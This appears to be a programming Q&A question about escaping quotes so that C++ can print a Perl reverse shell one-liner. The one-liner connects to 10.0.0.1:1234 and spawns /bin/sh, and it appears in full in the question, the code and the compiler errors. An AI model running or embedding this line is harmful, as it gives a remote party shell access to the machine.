title: How can I put a reverse shell one liner in a string and print it to the terminal?
body: <p>I'm  trying to print a reverse shell one liner to the terminal using C++ (not running the command, just printing it) -</p>
  <pre class="lang-perl prettyprint-override"><code>perl -e 'use Socket;$i=&quot;10.0.0.1&quot;;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/sh -i&quot;);};'
  </code></pre>
  <p>This is the one liner, I've tried to put it in std::string but I quickly realized it doesn't like that at all. I also tried to just pipe it to cout directly, I'm not sure how to deal with the &quot;bad chars&quot;, what is the best way to go about doing this? I want to print it with cout somehow.</p>
  <pre class="lang-cpp prettyprint-override"><code>#include &lt;iostream&gt;
  #include &lt;string&gt;
  
  int main() {
      std::string perl {&quot;perl -e 'use Socket;$i=&quot;10.0.0.1&quot;;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/sh -i&quot;);};'&quot;};
      std::cout &lt;&lt; perl;
  
      std::cout &lt;&lt; &quot;perl -e 'use Socket;$i=&quot;10.0.0.1&quot;;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/sh -i&quot;);};'&quot; &lt;&lt; std::endl;  
  }
  </code></pre>
  <pre><code>test.cpp:5:45: error: too many decimal points in number
      5 |  std::string perl {&quot;perl -e 'use Socket;$i=&quot;10.0.0.1&quot;;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/sh -i&quot;);};'&quot;};
        |                                             ^~~~~~~~
  test.cpp:8:40: error: too many decimal points in number
      8 |  std::cout &lt;&lt; &quot;perl -e 'use Socket;$i=&quot;10.0.0.1&quot;;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/sh -i&quot;);};'&quot; &lt;&lt; std::endl;
        |                                        ^~~~~~~~
  test.cpp: In function ‘int main()’:
  test.cpp:5:45: error: expected ‘}’ before numeric constant
      5 |  std::string perl {&quot;perl -e 'use Socket;$i=&quot;10.0.0.1&quot;;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/sh -i&quot;);};'&quot;};
        |                   ~                         ^~~~~~~~
  test.cpp:5:45: error: expected ‘,’ or ‘;’ before numeric constant
  test.cpp: At global scope:
  test.cpp:6:7: error: ‘cout’ in namespace ‘std’ does not name a type
      6 |  std::cout &lt;&lt; perl;
        |       ^~~~
  In file included from test.cpp:1:
  /usr/include/c++/10/iostream:61:18: note: ‘std::cout’ declared here
     61 |   extern ostream cout;  /// Linked to standard output
        |                  ^~~~
  test.cpp:8:7: error: ‘cout’ in namespace ‘std’ does not name a type
      8 |  std::cout &lt;&lt; &quot;perl -e 'use Socket;$i=&quot;10.0.0.1&quot;;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/sh -i&quot;);};'&quot; &lt;&lt; std::endl;
        |       ^~~~
  In file included from test.cpp:1:
  /usr/include/c++/10/iostream:61:18: note: ‘std::cout’ declared here
     61 |   extern ostream cout;  /// Linked to standard output
        |                  ^~~~
  test.cpp:9:1: error: expected declaration before ‘}’ token
      9 | }
        | 
  </code></pre>